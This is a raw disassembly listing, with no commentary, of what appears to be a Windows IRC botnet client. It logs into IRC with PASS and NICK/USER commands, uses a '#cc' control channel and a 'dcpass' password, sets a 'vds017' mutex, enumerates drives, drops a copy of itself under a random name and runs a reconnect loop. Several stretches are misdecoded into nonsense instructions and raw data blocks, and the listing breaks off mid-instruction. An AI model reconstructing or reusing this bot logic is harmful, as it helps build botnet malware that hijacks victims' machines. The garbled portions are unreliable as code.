XREF: seg000:0040A423j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul ds:dbl_41F658 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul ds:dbl_41F658 fstp qword ptr [esp] push offset unk_427F14 push eax call sub_4135AD add esp, 1Ch cmp [ebp-30h], esi jnz short loc_40A579 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 add esp, 14h loc_40A579: ; CODE XREF: seg000:0040A557j lea eax, [ebp-510h] push eax call sub_409615 push 10h lea eax, [ebp-10h] push esi push eax call sub_413630 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_413630 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_42E348 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 0A70000h arpl [ebx], di mov dword ptr [ebp+12h], 0F66815FFh inc edx add al, ch leave fdiv st(7), st call dword ptr [esi-1] adc eax, offset dword_41F104 lea eax, [ebp-148h] push eax push offset unk_427EC8 jmp short loc_40A615 ; --------------------------------------------------------------------------- loc_40A609: ; CODE XREF: seg000:0040A1C2j lea eax, [ebp-248h] push eax push offset unk_427E88 loc_40A615: ; CODE XREF: seg000:0040A607j lea eax, [ebp-510h] push eax call sub_4135AD add esp, 0Ch cmp [ebp-30h], esi jnz short loc_40A649 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4110B0 add esp, 14h loc_40A649: ; CODE XREF: seg000:0040A627j lea eax, [ebp-510h] push eax call sub_409615 pop ecx loc_40A656: ; CODE XREF: seg000:0040A419j ; seg000:0040A4A2j ... push dword ptr [ebp-18h] call ds:dword_42F73C push dword ptr [ebp-48h] call sub_413375 pop ecx push esi call near ptr 0A70000h ; --------------------------------------------------------------------------- db 0D9h ; =============== S U B R O U T I N E ======================================= sub_40A66F proc near ; CODE XREF: seg000:0040A29Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40A68B loc_40A67B: ; CODE XREF: sub_40A66F+1Aj mov dl, ds:byte_42823C xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40A67B locret_40A68B: ; CODE XREF: sub_40A66F+Aj retn sub_40A66F endp ; =============== S U B R O U T I N E ======================================= sub_40A68C proc near ; CODE XREF: seg000:0040DC97p ; seg000:0040DDEEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_415799 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40A68C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6A6 proc near ; CODE XREF: sub_404858+45Dp ; sub_404858+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_433AD8 push 0 push edi call sub_413630 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40A6CB: ; CODE XREF: sub_40A6A6+5Bj ; sub_40A6A6+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4152F0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_415370 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40A709 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40A6CB mov byte ptr [esi], 2Ch inc esi jmp short loc_40A6CB ; --------------------------------------------------------------------------- loc_40A709: ; CODE XREF: sub_40A6A6+4Bj dec esi mov eax, edi loc_40A70C: ; CODE XREF: sub_40A6A6+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40A71B mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40A70C ; --------------------------------------------------------------------------- loc_40A71B: ; CODE XREF: sub_40A6A6+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40A6A6 endp ; =============== S U B R O U T I N E ======================================= sub_40A725 proc near ; CODE XREF: sub_40A8D1+51p ; sub_40A8D1+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_42F768 sub eax, 0 jz short loc_40A768 dec eax jz short loc_40A762 dec eax dec eax jz short loc_40A75C dec eax jz short loc_40A756 dec eax jz short loc_40A750 dec eax jz short loc_40A74A mov eax, offset word_42785C retn ; --------------------------------------------------------------------------- loc_40A74A: ; CODE XREF: sub_40A725+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_40A750: ; CODE XREF: sub_40A725+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40A756: ; CODE XREF: sub_40A725+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40A75C: ; CODE XREF: sub_40A725+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40A762: ; CODE XREF: sub_40A725+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40A768: ; CODE XREF: sub_40A725+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40A725 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A76E proc near ; CODE XREF: sub_40A7B6+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_42F604 test eax, eax jz short loc_40A7A3 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; dword_42F604 loc_40A7A3: ; CODE XREF: sub_40A76E+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40A76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7B6 proc near ; CODE XREF: sub_408F79+1F3p ; sub_40A8D1+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40A76E pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40A88E mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40A88E mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40A88E push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_4157E0 push edx push eax call sub_40A6A6 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_413B2A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_4157E0 push edx push eax call sub_40A6A6 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_413B2A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_4157E0 push edx push eax call sub_40A6A6 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_413B2A add esp, 18h pop ebx jmp short loc_40A8BD ; --------------------------------------------------------------------------- loc_40A88E: ; CODE XREF: sub_40A7B6+2Cj ; sub_40A7B6+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4135AD lea eax, [ebp+var_118] push esi push eax call sub_4135AD lea eax, [ebp+var_98] push esi push eax call sub_4135AD add esp, 18h loc_40A8BD: ; CODE XREF: sub_40A7B6+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40A7B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8D1 proc near ; CODE XREF: sub_40A9A3+17p ; sub_40A9A3+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40A7B6 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4139D0 add esp, 10h test eax, eax jnz short loc_40A944 push ebx push ebx call sub_40A725 pop ecx push eax push offset dword_4281C8 lea eax, [ebp+var_500] push 200h push eax call sub_413B2A add esp, 14h jmp short loc_40A978 ; --------------------------------------------------------------------------- loc_40A944: ; CODE XREF: sub_40A8D1+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40A725 pop ecx push eax push offset dword_428178 lea eax, [ebp+var_500] push 200h push eax call sub_413B2A add esp, 20h loc_40A978: ; CODE XREF: sub_40A8D1+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 lea eax, [ebp+var_500] push eax call sub_409615 add esp, 18h pop edi pop esi pop ebx leave retn sub_40A8D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9A3 proc near ; CODE XREF: seg000:00410575p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40A9C4 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40A8D1 add esp, 10h jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40A9C4: ; CODE XREF: sub_40A9A3+9j push esi push edi push ebx push ebx call ds:dword_42F678 lea esi, [eax+2] push esi call sub_413E5F pop ecx mov edi, eax push edi push esi call ds:dword_42F678 cmp [edi], bl mov esi, edi jz short loc_40AA1C loc_40A9E8: ; CODE XREF: sub_40A9A3+77j push offset aA_0 ; "A:\\" push esi call sub_4139D0 pop ecx test eax, eax pop ecx jz short loc_40AA0B push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40A8D1 add esp, 10h loc_40AA0B: ; CODE XREF: sub_40A9A3+54j push esi call sub_413DB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40A9E8 loc_40AA1C: ; CODE XREF: sub_40A9A3+43j push edi call sub_413ED3 pop ecx pop edi pop esi loc_40AA25: ; CODE XREF: sub_40A9A3+1Fj pop ebx pop ebp retn sub_40A9A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA28 proc far ; DATA XREF: seg000:0040AB24o var_25C = byte ptr -25Ch var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_4348A4 call ds:dword_42F7A0 call sub_413222 call ds:dword_42F668 call ds:dword_42F668 mov ebx, ds:dword_41F058 push 64h call ebx ; dword_41F058 xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_413630 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_413630 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_42E348 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 0A70000h retf sub_40AA28 endp ; --------------------------------------------------------------------------- dw 858Dh dd 0FFFFFEA8h, 0E8575056h, 665550h, 0F0458DFDh, 0AC458D50h dd 0A4858D50h, 50FFFFFDh, 6A286A57h, 858D5701h, 0FFFFFEA8h dd 0E8575057h, 66552Ch, 74C08596h, 0FF646A14h, 0F075FFD3h dd 0F070358Bh, 0D6FF0041h, 0FFF475FFh, 10458BD6h, 0B080C7h dd 3B100000h, 48B0043h, 0A36424h, 83000000h, 0FF5708C4h dd 41F10415h, 5B5E5F00h ; --------------------------------------------------------------------------- loc_40AB10: ; CODE XREF: seg000:00415C51p push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp-10h], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40AA28 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp cmp ds:dword_428230, ebx jz short loc_40AB49 call sub_408445 loc_40AB49: ; CODE XREF: seg000:0040AB42j mov esi, ds:dword_41F044 call esi ; dword_41F044 xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_45DB88, eax call esi ; dword_41F044 push eax call sub_4135FF pop ecx call sub_406E9A push 2 call ds:dword_42F7B4 push 7530h push offset aVds017 ; "vds017" push ebx push ebx call near ptr 0A70000h fst dword ptr [eax-18h] jnb short near ptr loc_40ABDC+3 db 66h add bl, dl cmp eax, 102h jnz short loc_40AB9D push 1 call ds:dword_41F104 ; ExitProcess loc_40AB9D: ; CODE XREF: seg000:0040AB93j lea eax, [ebp-888h] push eax push 202h call ds:dword_42F680 cmp eax, ebx mov [ebp-8], eax jnz loc_40B072 cmp byte ptr [ebp-888h], 2 jnz loc_40B06C xor eax, eax mov al, [ebp-887h] cmp al, 2 jnz loc_40B06C mov esi, 104h loc_40ABDC: ; CODE XREF: seg000:0040AB89j lea eax, [ebp-3F4h] push esi push eax call near ptr 0A70000h fmul dword ptr [ebp-2EF7Bh] call dword ptr [esi+50h] push ebx call near ptr 0A70000h scasb push eax call near ptr 0A70000h cmpsb lea eax, [ebp-5F8h] push eax lea eax, [ebp-6F8h] push eax push ebx lea eax, [ebp-2F0h] push ebx push eax call sub_4153D8 lea eax, [ebp-5F8h] push eax lea eax, [ebp-6F8h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-4F8h] push esi push eax call sub_413B2A lea eax, [ebp-3F4h] push eax lea eax, [ebp-2F0h] push eax call sub_413B80 add esp, 30h test eax, eax jnz loc_40AE00 cmp ds:dword_45DCF8, ebx mov esi, offset byte_428290 jz short loc_40AC98 push esi xor edi, edi call sub_413DB0 sub eax, 4 pop ecx jz short loc_40AC98 loc_40AC75: ; CODE XREF: seg000:0040AC96j call sub_413609 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov ds:byte_428290[edi], dl inc edi call sub_413DB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40AC75 loc_40AC98: ; CODE XREF: seg000:0040AC65j ; seg000:0040AC73j lea eax, [ebp-3F4h] push esi push eax lea eax, [ebp-1ECh] push offset aSS_3 ; "%s\\%s" push eax call sub_4135AD add esp, 10h lea eax, [ebp-1ECh] push eax call ds:dword_41F07C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short near ptr loc_40ACD7+1 lea eax, [ebp-1ECh] push 80h push eax call near ptr 0A70000h loc_40ACD7: ; CODE XREF: seg000:0040ACC4j lea ecx, [ebx+41F11435h] add [ebp-1EB7Bh], cl call dword ptr [ebx+50h] lea eax, [ebp-2F0h] xor edi, edi push eax loc_40ACEF: ; CODE XREF: seg000:0040AD26j call esi ; byte_428290 test eax, eax jnz short loc_40AD28 call ds:dword_41F068 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40AD28 cmp eax, 20h jz short loc_40AD09 cmp eax, 5 jnz short loc_40AD28 loc_40AD09: ; CODE XREF: seg000:0040AD02j push 1 pop edi push 3A98h call ds:dword_41F058 ; Sleep lea eax, [ebp-1ECh] push ebx push eax lea eax, [ebp-2F0h] push eax jmp short loc_40ACEF ; --------------------------------------------------------------------------- loc_40AD28: ; CODE XREF: seg000:0040ACF3j ; seg000:0040ACFDj ... lea eax, [ebp-1ECh] push eax call sub_4081F7 pop ecx lea eax, [ebp-1ECh] push 7 push eax call near ptr 0A70000h pusha push 10h lea eax, [ebp-24h] push ebx push eax call sub_413630 push 44h lea eax, [ebp-68h] pop esi push esi push ebx push eax call sub_413630 add esp, 18h mov [ebp-68h], esi mov dword ptr [ebp-5Ch], offset byte_42E348 mov [ebp-38h], bx push 1 pop esi mov [ebp-3Ch], esi call near ptr 0A70000h xor al, 50h push esi push 100000h call near ptr 0A70000h retn 8D8Dh ; --------------------------------------------------------------------------- dw 0FD10h dd 5051FFFFh, 0FE14858Dh, 8D50FFFFh, 0FFF67485h, 849868FFh dd 0E8500042h, 8805h, 8D14C483h, 8D50DC45h, 8D509845h dd 0FFFC0C85h, 6A5350FFh, 8D535628h, 0FFF67485h, 8D5053FFh dd 0FFFE1485h, 2DE850FFh, 8D006652h, 2874C085h, 0C868h dd 5815FF00h, 0FF0041F0h, 358BDC75h, 41F070h, 75FFD6FFh dd 0FFD6FFE0h, 42F66815h, 15FF5300h, 41F104h ; --------------------------------------------------------------------------- loc_40AE00: ; CODE XREF: seg000:0040AC54j cmp ds:dword_45E820, 2 jle short loc_40AE4C mov eax, ds:dword_45E824 push dword ptr [eax+4] call sub_413B1F pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 0A70000h pop esi push esi call ds:dword_41F070 ; CloseHandle mov eax, ds:dword_45E824 cmp [eax+8], ebx jz short loc_40AE4C push 7D0h call ds:dword_41F058 ; Sleep mov eax, ds:dword_45E824 push dword ptr [eax+8] call near ptr 0A70000h xchg eax, ecx loc_40AE4C: ; CODE XREF: seg000:0040AE07j ; seg000:0040AE31j cmp ds:dword_428238, ebx jz short loc_40AE69 cmp ds:dword_42F7D8, ebx jnz short loc_40AE69 lea eax, [ebp-4F8h] push eax call sub_409824 pop ecx loc_40AE69: ; CODE XREF: seg000:0040AE52j ; seg000:0040AE5Aj lea eax, [ebp-0E8h] push offset dword_42846C push eax call sub_4135AD push ebx lea eax, [ebp-0E8h] push ebx push eax call sub_413059 lea eax, [ebp-0E8h] push eax call sub_409615 push 0B80h push ebx push offset dword_433B18 call sub_413630 lea eax, [ebp-0E8h] push offset unk_428430 push eax call sub_4135AD push ebx lea eax, [ebp-0E8h] push 1 push eax call sub_413059 add esp, 38h mov esi, eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F8h] push ebx push eax push offset sub_409894 push ebx push ebx call ds:dword_41F06C ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_4348AC[esi], eax jnz short loc_40AF0D call ds:dword_41F068 ; RtlGetLastWin32Error push eax lea eax, [ebp-0E8h] push offset unk_4283E0 push eax call sub_4135AD add esp, 0Ch loc_40AF0D: ; CODE XREF: seg000:0040AEF0j lea eax, [ebp-0E8h] push eax call sub_409615 call sub_413609 push 7Fh push offset a1068346466 ; "1068346466" push offset dword_45DB94 mov ds:dword_45DD0C, ebx call sub_414DD0 mov eax, ds:dword_42821C push 3Fh mov edi, offset dword_45DC14 push offset aCc ; "#cc" push edi mov ds:dword_45DCE4, eax call sub_414DD0 push 3Fh mov esi, offset dword_45DC54 push offset aDcpass ; "dcpass" push esi call sub_414DD0 add esp, 28h mov ds:dword_45DCE8, ebx loc_40AF6C: ; CODE XREF: seg000:0040B012j ; seg000:0040B01Dj ... mov [ebp-4], ebx loc_40AF6F: ; CODE XREF: seg000:0040AFC6j cmp ds:dword_42F7F0, ebx jnz short loc_40AF8D lea eax, [ebp-14h] push ebx push eax call ds:dword_42F64C test eax, eax jnz short loc_40AF8D push 7530h jmp short loc_40AFB9 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: seg000:0040AF75j ; seg000:0040AF84j push offset dword_45DB90 mov ds:dword_45DD08, ebx call sub_40B07B cmp eax, 2 mov [ebp-8], eax jz loc_40B067 cmp ds:dword_45DD08, ebx jz short loc_40AFB4 dec dword ptr [ebp-4] loc_40AFB4: ; CODE XREF: seg000:0040AFAFj push 0BB8h loc_40AFB9: ; CODE XREF: seg000:0040AF8Bj call ds:dword_41F058 ; Sleep inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40AF6F cmp dword ptr [ebp-8], 2 jz loc_40B067 cmp [ebp-0Ch], ebx jz short loc_40B017 push 7Fh push offset a1068346466 ; "1068346466" push offset dword_45DB94 call sub_414DD0 mov eax, ds:dword_42821C push 3Fh push offset aCc ; "#cc" push edi mov ds:dword_45DCE4, eax call sub_414DD0 push 3Fh push offset aDcpass ; "dcpass" push esi call sub_414DD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40AF6C ; --------------------------------------------------------------------------- loc_40B017: ; CODE XREF: seg000:0040AFD5j cmp ds:byte_428278, bl jz loc_40AF6C push 7Fh push offset byte_428278 push offset dword_45DB94 call sub_414DD0 mov eax, ds:dword_428220 push 3Fh push offset aCc_0 ; "#cc" push edi mov ds:dword_45DCE4, eax call sub_414DD0 push 3Fh push offset aDcpass_0 ; "dcpass" push esi call sub_414DD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40AF6C ; --------------------------------------------------------------------------- loc_40B067: ; CODE XREF: seg000:0040AFA3j ; seg000:0040AFCCj call sub_413222 loc_40B06C: ; CODE XREF: seg000:0040ABC1j ; seg000:0040ABD1j call ds:dword_42F668 loc_40B072: ; CODE XREF: seg000:0040ABB4j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B07B proc near ; CODE XREF: seg000:0040AF98p ; DATA XREF: seg000:0040ED32o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40B0A0: ; CODE XREF: sub_40B07B+E6j ; sub_40B07B+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_413630 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_42F708 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_408503 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40B1CD push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_413630 push 0 lea eax, [ebp+var_2C] push ds:dword_45DCFC push ds:dword_428244 push eax call sub_412797 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4348B0 push edi push eax call sub_414DD0 add esp, 28h push 6 push 1 push 2 call ds:dword_42F788 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_4348A4[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_42F6B0 cmp eax, 0FFFFFFFFh jnz short loc_40B166 push esi call ds:dword_42F7A0 call sub_40852C push 7D0h loc_40B15B: ; CODE XREF: sub_40B07B+146j call ds:dword_41F058 ; Sleep jmp loc_40B0A0 ; --------------------------------------------------------------------------- loc_40B166: ; CODE XREF: sub_40B07B+CDj lea eax, [ebp+var_18C] push eax push offset dword_4284A4 call sub_409689 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40B1E3 add esp, 28h mov edi, eax push esi call ds:dword_42F7A0 test edi, edi jz loc_40B0A0 cmp edi, 1 jnz short loc_40B1C3 push 0DBBA0h jmp short loc_40B15B ; --------------------------------------------------------------------------- loc_40B1C3: ; CODE XREF: sub_40B07B+13Fj cmp edi, 2 jz short loc_40B1D1 jmp loc_40B0A0 ; --------------------------------------------------------------------------- loc_40B1CD: ; CODE XREF: sub_40B07B+5Aj xor eax, eax jmp short loc_40B1DD ; --------------------------------------------------------------------------- loc_40B1D1: ; CODE XREF: sub_40B07B+14Bj push [ebp+var_34] call sub_413375 pop ecx push 2 pop eax loc_40B1DD: ; CODE XREF: sub_40B07B+154j pop edi pop esi leave retn 4 sub_40B07B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1E3 proc near ; CODE XREF: sub_40B07B+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_413E30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40B201: ; CODE XREF: sub_40B1E3+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40B201 cmp ds:byte_45DD00, bl jz short loc_40B228 push offset byte_45DD00 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_41106A add esp, 0Ch loc_40B228: ; CODE XREF: sub_40B1E3+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_412797 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4135AD add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_413DB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_42F758 cmp eax, 0FFFFFFFFh jnz short loc_40B292 push [ebp+arg_0] call ds:dword_42F7A0 push 1388h call ds:dword_41F058 ; Sleep loc_40B28B: ; CODE XREF: sub_40B1E3+D9j ; sub_40B1E3+153j xor eax, eax loc_40B28D: ; CODE XREF: sub_40B1E3+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40B292: ; CODE XREF: sub_40B1E3+92j ; sub_40B1E3+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_413630 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call ds:dword_42F720 test eax, eax jle short loc_40B28B lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_407EE3 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40B292 lea edi, [ebp+var_A10] loc_40B2E3: ; CODE XREF: sub_40B1E3+165j push 1 pop esi loc_40B2E6: ; CODE XREF: sub_40B1E3+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_40B35B add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40B329 push 7D0h call ds:dword_41F058 ; Sleep jmp short loc_40B2E6 ; --------------------------------------------------------------------------- loc_40B329: ; CODE XREF: sub_40B1E3+137j cmp esi, 0FFFFFFFDh jz short loc_40B353 cmp esi, 0FFFFFFFEh jz short loc_40B34F cmp esi, 0FFFFFFFFh jz loc_40B28B inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40B2E3 jmp loc_40B292 ; --------------------------------------------------------------------------- loc_40B34F: ; CODE XREF: sub_40B1E3+14Ej push 1 jmp short loc_40B355 ; --------------------------------------------------------------------------- loc_40B353: ; CODE XREF: sub_40B1E3+149j push 2 loc_40B355: ; CODE XREF: sub_40B1E3+16Ej pop eax jmp loc_40B28D sub_40B1E3 endp ; --------------------------------------------------------------------------- loc_40B35B: ; CODE XREF: sub_40B1E3+12Ap push ebp mov ebp, esp mov eax, 159Ch call sub_413E30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2C8h] push ebx push eax mov dword ptr [ebp-0ACh], 3 mov [ebp-10h], ebx mov [ebp-98h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-0C8h], ebx call sub_413630 push 1Bh lea eax, [ebp-564h] push dword ptr [ebp+18h] push eax call sub_414DD0 add esp, 18h cmp [ebp+8], ebx jz loc_40B71F push esi lea eax, [ebp-0F9Ch] push ebx push eax call 